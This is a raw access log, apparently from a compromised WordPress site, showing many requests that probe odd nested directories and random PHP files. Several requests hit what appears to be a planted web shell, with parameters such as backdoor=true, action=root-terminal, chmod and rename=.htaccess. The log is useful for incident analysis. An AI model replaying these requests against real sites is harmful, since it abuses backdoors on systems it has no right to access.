/assets/backuply/jquery/js/js/includes/blocks/ HTTP/1.1" 200 630 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0 Herring/95.1.1930.31" 74.7.227.184 - - [17/Nov/2025:12:38:41 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d61646d696e61612f77702d61646d696e61612f696e636c756465732f706c7567696e732f7369746573656f2f617373657473&rename=img HTTP/2" 200 3190 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 14.254.188.217 - - [17/Nov/2025:12:38:41 +0000] "GET /assets/wp-content/wp-includes/wp-contentaa/js/includes/wp/ HTTP/1.1" 200 652 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0" 14.178.12.233 - - [17/Nov/2025:12:38:42 +0000] "GET /assets/wp-content/wp-includes/wp-contentaa/js/upgrade/wp/ HTTP/1.1" 200 651 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0" 74.7.227.184 - - [17/Nov/2025:12:38:43 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?backdoor=true&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d61646d696e61612f6373732f77702f6a732f696e636c756465732f696e636c756465732f6a6366786564732f77702d61646d696e6161 HTTP/2" 200 3144 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 14.185.231.4 - - [17/Nov/2025:12:38:44 +0000] "GET /assets/assets/js/includes/includes/jcfxeds/wp-contentaa/ HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36" 74.7.227.184 - - [17/Nov/2025:12:38:45 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?chmod=plugins&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d61646d696e61612f77702d61646d696e61612f6e6574776f726b2f6a732f6a732f6a732f6a732f696e636c756465732f696e636c756465732f637373 HTTP/2" 200 3311 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 14.189.217.201 - - [17/Nov/2025:12:38:47 +0000] "GET /assets/backuply-20251107214702/wp/includes/jcfxeds/wp-includes/wp-contentaa/ HTTP/1.1" 200 659 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 17_0_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Mobile/15E148 Safari/604.1 OPX/2.2.0" 14.224.135.36 - - [17/Nov/2025:12:38:47 +0000] "GET /assets/assets-20251112184145/css/wp/includes/jcfxeds/wp-includes/ HTTP/1.1" 200 646 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Mobile Safari/537.36" 74.7.227.184 - - [17/Nov/2025:12:38:48 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?action=terminal&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d696e636c756465732f77702d636f6e74656e7461612f6a732f696e636c756465732f696e636c756465732f6373732f6a7175657279 HTTP/2" 200 3218 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 113.170.151.61 - - [17/Nov/2025:12:38:48 +0000] "GET /assets/backuply-20251107214702/wp-includes/wp-contentaa/backuply/wp/error_log HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0" 182.10.225.40 - - [17/Nov/2025:12:38:50 +0000] "GET /assets/css/fonts/js/js/js/js/ HTTP/1.1" 200 611 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 17_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) EdgiOS/117.0.2045.48 Version/17.0 Mobile/15E148 Safari/604.1" 14.254.233.70 - - [17/Nov/2025:12:38:44 +0000] "GET /assets/assets-20251112184145/wp/js/includes/includes/jcfxeds/ HTTP/1.1" 200 1024 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0" 74.7.228.61 - - [17/Nov/2025:12:38:44 +0000] "GET /robots.txt HTTP/2" 404 1251 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36; compatible; OAI-SearchBot/1.3; robots.txt; +https://openai.com/searchbot" 14.191.207.138 - - [17/Nov/2025:12:38:44 +0000] "GET /assets/assets-20251112184145/themes/twentytwenty/inc/includes/css/ HTTP/1.1" 200 1046 "-" "Mozilla/5.0 (iPad; CPU OS 17_0_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Mobile/15E148 Safari/605.1.15" 113.183.202.95 - - [17/Nov/2025:12:38:45 +0000] "GET /assets/backuply/jquery/css/themes/twentytwentyfive/assets/ HTTP/1.1" 200 639 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36" 14.239.21.215 - - [17/Nov/2025:12:38:46 +0000] "GET /assets/backuply-20251107214702/includes/css/themes/twentytwentyfour/assets/ HTTP/1.1" 200 654 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Mobile Safari/537.36" 14.187.15.77 - - [17/Nov/2025:12:38:47 +0000] "GET /assets/backuply/css/wp/jquery/wp/ngRpwIPola.php HTTP/1.1" 200 6 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 DuckDuckGo/7 Safari/605.1.15" 14.191.177.177 - - [17/Nov/2025:12:38:48 +0000] "GET /assets/backuply/css/wp/js/includes/network/ HTTP/1.1" 200 625 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Mobile Safari/537.36" 41.82.207.199 - - [17/Nov/2025:12:38:48 +0000] "GET /assets/wp-includes/wp-contentaa/js/themes/twentytwentyfour/styles/ HTTP/1.1" 200 639 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0 Config/91.2.2121.13" 113.190.5.223 - - [17/Nov/2025:12:38:48 +0000] "GET /wp-content/themes/twentytwenty/inc/includes/blocks/wp/ HTTP/1.1" 200 656 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0 AtContent/95.5.5392.49" 14.244.165.39 - - [17/Nov/2025:12:38:49 +0000] "GET /assets/backuply-20251107214702/plugins/js/backuply/wp/lyRhDU.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0" 14.231.244.235 - - [17/Nov/2025:12:38:50 +0000] "GET /assets/assets-20251112184145/wp/themes/twentytwentyfour/templates/ HTTP/1.1" 200 640 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36" 14.241.233.8 - - [17/Nov/2025:12:38:51 +0000] "GET /assets/upgrade/js/js/includes/backuply/ HTTP/1.1" 200 624 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 17_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Mobile/15E148 Safari/604.1 OPT/4.2.3" 14.191.89.199 - - [17/Nov/2025:12:38:51 +0000] "GET /assets/backuply-20251107214702/plugins/js/backuply/wp/lyRhDU.php?p= HTTP/1.1" 200 11767 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0" 14.237.207.199 - - [17/Nov/2025:12:38:51 +0000] "GET /assets/backuply/network/js/js/includes/blocks/ HTTP/1.1" 200 630 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0 Herring/95.1.1930.31" 14.191.158.170 - - [17/Nov/2025:12:38:52 +0000] "GET /assets/assets-20251112184145/js/assets/js/includes/includes/ HTTP/1.1" 200 687 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0" 74.7.227.184 - - [17/Nov/2025:12:38:50 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d61646d696e61612f6373732f77702f6a732f696e636c756465732f6a6366786564732f77702d61646d696e61612f6a636678656473&rename=wp-adminaa HTTP/2" 200 3277 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 123.16.61.208 - - [17/Nov/2025:12:38:51 +0000] "GET /assets/assets-20251112184145/includes/css/blocks/wp/prHCAMqyQ.php HTTP/1.1" 200 150 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) EdgiOS/120.0.2210.141 Version/17.0 Mobile/15E148 Safari/604.1" 102.219.24.217 - - [17/Nov/2025:12:38:51 +0000] "GET /assets/wp/js/js/includes/includes/css/ HTTP/1.1" 200 1022 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 17_0_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Mobile/15E148 Safari/604.1 OPX/2.2.0" 74.7.227.184 - - [17/Nov/2025:12:38:52 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?action=root-terminal&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f6173736574732f77702d636f6e74656e742f77702d696e636c756465732f77702d636f6e74656e7461612f6a732f6a732f696e636c756465732f6373732f6a73 HTTP/2" 200 3291 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:38:53 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d61646d696e61612f6373732f77702f6a732f6a732f696e636c756465732f696e636c756465732f6373732f6261636b75706c792f7770&rename=.htaccess HTTP/2" 200 3394 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 87.97.171.243 - - [17/Nov/2025:12:38:55 +0000] "GET /assets/backuply/wp-adminaa/includes/includes/jcfxeds/wp-adminaa/ HTTP/1.1" 200 638 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Mobile Safari/537.36" 14.186.63.124 - - [17/Nov/2025:12:38:55 +0000] "GET /assets/assets-20251112184145/blocks/includes/css/wp/eQssw.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0" 74.7.227.184 - - [17/Nov/2025:12:38:55 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?backdoor=true&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d61646d696e61612f6373732f77702f6a732f6a732f6a732f696e636c756465732f696e636c756465732f6373732f6261636b75706c79 HTTP/2" 200 3168 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 14.240.216.108 - - [17/Nov/2025:12:38:56 +0000] "GET /assets/css/wp/js/includes/css/wp/ HTTP/1.1" 200 631 "-" "Mozilla/5.0 (iPad; CPU OS 17_0_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Mobile/15E148 Safari/604.1" 14.169.207.84 - - [17/Nov/2025:12:38:57 +0000] "GET /assets/backuply-20251107214702/upgrade/js/includes/plugins/wps-hide-login/ HTTP/1.1" 200 654 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 17_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Mobile/15E148 Safari/604.1 OPX/2.1.0" 74.7.227.184 - - [17/Nov/2025:12:38:57 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?backdoor=true&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f6a71756572792f77702d61646d696e61612f77702d61646d696e61612f6e6574776f726b2f696e636c756465732f696e636c75646573 HTTP/2" 200 3195 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:38:59 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?chmod=jquery&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f6173736574732f77702d636f6e74656e742f77702d696e636c756465732f77702d636f6e74656e7461612f6a732f696e636c756465732f6373732f6a73 HTTP/2" 200 3269 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 123.18.56.45 - - [17/Nov/2025:12:39:01 +0000] "GET /assets/backuply/js/js/includes/css/wp/ HTTP/1.1" 200 641 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0" 113.172.127.230 - - [17/Nov/2025:12:39:02 +0000] "GET /assets/backuply-20251107214702/js/includes/css/themes/twentytwentyfive/ HTTP/1.1" 200 651 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0 Herring/95.1.1930.31" 14.228.179.210 - - [17/Nov/2025:12:39:02 +0000] "GET /assets/assets-20251112184145/jquery/css/wp/includes/jcfxeds/ HTTP/1.1" 200 711 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36" 222.253.191.141 - - [17/Nov/2025:12:39:02 +0000] "GET /assets/fonts/js/includes/jcfxeds/jcfxeds/wp-content/ HTTP/1.1" 200 648 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Mobile Safari/537.36" 14.186.215.185 - - [17/Nov/2025:12:39:03 +0000] "GET /assets/wp/themes/twentytwentyfour/styles/wp/xeshQPjkE.php HTTP/1.1" 200 3024 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36" 74.7.227.184 - - [17/Nov/2025:12:39:03 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d61646d696e61612f77702d61646d696e61612f6e6574776f726b2f6a732f6a732f6a732f696e636c756465732f696e636c75646573&rename=includes HTTP/2" 200 3215 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 113.190.193.115 - - [17/Nov/2025:12:39:04 +0000] "GET /assets/blocks/js/includes/js/wp/cqlmjwTD.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36" 192.141.28.100 - - [17/Nov/2025:12:39:05 +0000] "GET /assets/backuply-20251107214702/upgrade/js/includes/includes/jcfxeds/ HTTP/1.1" 200 1028 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Mobile Safari/537.36" 113.173.196.181 - - [17/Nov/2025:12:39:05 +0000] "GET /assets/backuply/jquery/js/includes/css/backuply/ HTTP/1.1" 200 626 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 17_0_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Mobile/15E148 Safari/604.1 OPX/2.2.0" 74.7.227.184 - - [17/Nov/2025:12:39:06 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?action=root-terminal&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d636f6e74656e742f77702d61646d696e61612f6a732f6a732f6a732f6a732f696e636c756465732f696e636c756465732f6373732f706c7567696e73 HTTP/2" 200 3255 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 14.179.96.68 - - [17/Nov/2025:12:39:06 +0000] "GET /assets/wp-includes/wp-contentaa/js/js/jquery/wp/ HTTP/1.1" 200 661 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0" 14.242.157.125 - - [17/Nov/2025:12:39:07 +0000] "GET /assets/wp-content/wp-includes/wp-contentaa/js/wp/cqlmjwTD.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 17_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Mobile/15E148 Safari/604.1 RDDocuments/8.4.8.940" 14.184.203.211 - - [17/Nov/2025:12:38:53 +0000] "GET /assets/backuply-20251107214702/js/includes/css/jquery/wp/ HTTP/1.1" 200 667 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0" 14.248.99.164 - - [17/Nov/2025:12:38:56 +0000] "GET /assets/backuply-20251107214702/upgrade/js/includes/backuply/wp/ HTTP/1.1" 200 719 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0" 123.21.219.99 - - [17/Nov/2025:12:38:57 +0000] "GET /assets/wp/network/js/includes/css/wp/ HTTP/1.1" 200 639 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Mobile Safari/537.36" 14.178.179.218 - - [17/Nov/2025:12:38:57 +0000] "GET /assets/upgrade/js/includes/includes/css/upgrade/ HTTP/1.1" 200 625 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0 AtContent/95.5.5392.49" 113.169.109.25 - - [17/Nov/2025:12:38:58 +0000] "GET /wp-content/themes/twentytwenty/inc/includes/wp/mfKCGzdJq.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36" 14.191.121.91 - - [17/Nov/2025:12:38:59 +0000] "GET /wp-content/themes/twentytwenty/inc/includes/jcfxeds/wp-contentaa/ HTTP/1.1" 200 677 "-" "Mozilla/5.0 (iPad; CPU OS 17_0_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Mobile/15E148 Safari/604.1" 14.179.163.201 - - [17/Nov/2025:12:38:59 +0000] "GET /assets/backuply-20251107214702/upgrade/js/includes/css/upgrade/ HTTP/1.1" 200 640 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0" 181.95.224.201 - - [17/Nov/2025:12:39:00 +0000] "GET /assets/backuply-20251107214702/network/js/includes/plugins/wps-hide-login/ HTTP/1.1" 200 649 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0" 14.248.148.145 - - [17/Nov/2025:12:39:02 +0000] "GET /assets/backuply/plugins/js/includes/upgrade/wp/ HTTP/1.1" 200 645 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36 Config/92.2.2788.20" 14.162.162.241 - - [17/Nov/2025:12:39:02 +0000] "GET /assets/img/js/includes/plugins/backuply/assets/ HTTP/1.1" 200 626 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0" 14.191.207.206 - - [17/Nov/2025:12:39:03 +0000] "GET /assets/fonts/js/includes/css/js/wp/ HTTP/1.1" 200 639 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 17_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) EdgiOS/119.0.2151.65 Version/17.0 Mobile/15E148 Safari/604.1" 14.180.26.51 - - [17/Nov/2025:12:39:05 +0000] "GET /assets/css/js/includes/includes/includes/includes/ HTTP/1.1" 200 629 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0" 123.25.91.77 - - [17/Nov/2025:12:39:05 +0000] "GET /assets/blocks/includes/js/includes/jcfxeds/wp-contentaa/ HTTP/1.1" 200 666 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Mobile Safari/537.36" 113.167.143.203 - - [17/Nov/2025:12:39:08 +0000] "GET /assets/fonts/js/includes/jcfxeds/wp-includes/wp-contentaa/ HTTP/1.1" 200 636 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0" 14.182.84.207 - - [17/Nov/2025:12:39:08 +0000] "GET /assets/backuply-20251107214702/jquery/themes/twentytwenty/inc/includes/ HTTP/1.1" 200 1097 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 17_0_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Mobile/15E148 Safari/604.1" 74.7.227.184 - - [17/Nov/2025:12:39:08 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f6a71756572792f77702d61646d696e61612f77702d61646d696e61612f6e6574776f726b2f6a732f696e636c756465732f696e636c75646573&rename=includes HTTP/2" 200 3231 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:39:11 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?chmod=jquery&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f6173736574732f77702d61646d696e61612f77702d61646d696e61612f6e6574776f726b2f6a732f6a732f6a732f696e636c756465732f6373732f6a73 HTTP/2" 200 3236 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:39:12 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?action=terminal&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f6173736574732f77702d636f6e74656e742f77702d61646d696e61612f77702d61646d696e61612f6e6574776f726b2f6a732f696e636c75646573 HTTP/2" 200 3258 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:39:14 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?chmod=twentytwentyfour&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d61646d696e61612f77702d61646d696e61612f6e6574776f726b2f6a732f6a732f6a732f6a732f696e636c756465732f696e636c756465732f6373732f7468656d6573 HTTP/2" 200 3310 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:39:16 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f6173736574732f77702d636f6e74656e742f77702d696e636c756465732f77702d636f6e74656e7461612f6a732f696e636c756465732f637373&rename=blocks HTTP/2" 200 3488 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:39:19 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?backdoor=true&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d61646d696e61612f77702d61646d696e61612f6a732f696e636c756465732f706c7567696e732f706167656c617965722f6d61696e2f7770 HTTP/2" 200 3216 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:39:21 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?action=terminal&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d61646d696e61612f6373732f77702f6a732f6a732f696e636c756465732f696e636c756465732f6373732f6e6574776f726b HTTP/2" 200 3219 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:39:23 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?chmod=wp-contentaa&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f6373732f77702d636f6e74656e742f77702d61646d696e61612f6a732f696e636c756465732f696e636c756465732f6a636678656473 HTTP/2" 200 3321 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)"